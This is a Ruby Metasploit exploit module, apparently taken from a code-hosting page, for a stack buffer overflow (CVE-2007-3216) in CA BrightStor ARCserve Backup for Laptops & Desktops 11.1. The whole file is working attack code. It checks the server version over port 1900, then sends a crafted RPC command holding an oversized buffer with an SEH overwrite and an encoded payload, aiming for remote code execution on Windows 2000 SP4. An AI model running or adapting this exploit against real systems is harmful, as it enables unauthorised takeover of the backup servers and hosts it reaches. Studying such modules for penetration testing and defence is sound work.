108 lines
2.6 KiB
Ruby
108 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
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for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
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an attacker could overflow the buffer and execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-3216' ],
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[ 'OSVDB', '35329' ],
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[ 'BID', '24348' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],
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],
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'DisclosureDate' => 'Jun 6 2007',
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'DefaultTarget' => 0))
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register_options([ Opt::RPORT(1900) ], self.class)
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end
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def check
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connect
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sock.put("0000000019rxrGetServerVersion")
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ver = sock.get_once
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disconnect
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if ( ver and ver =~ /11.1.742/ )
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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rpc_commands = [
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"rxsAddNewUser",
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"rxsSetUserInfo",
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"rxsRenameUser",
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"rxsExportData",
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"rxcReadSaveSetProfile",
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"rxcInitSaveSetProfile",
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"rxcAddSaveSetNextAppList",
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"rxcAddSaveSetNextFilesPathList"
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]
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rpc_command = rpc_commands[rand(rpc_commands.length)]
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data = rand_text_alpha_upper(62768)
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data[58468,8] = generate_seh_record(target.ret)
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data[58476,payload.encoded.length] = payload.encoded
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sploit = "0000062768" # Command Length Field
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sploit << rpc_command # RPC Command
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sploit << "~~" # Constant Argument Delimiter
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sploit << data
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print_status("Trying target #{target.name} with command '#{rpc_command}'...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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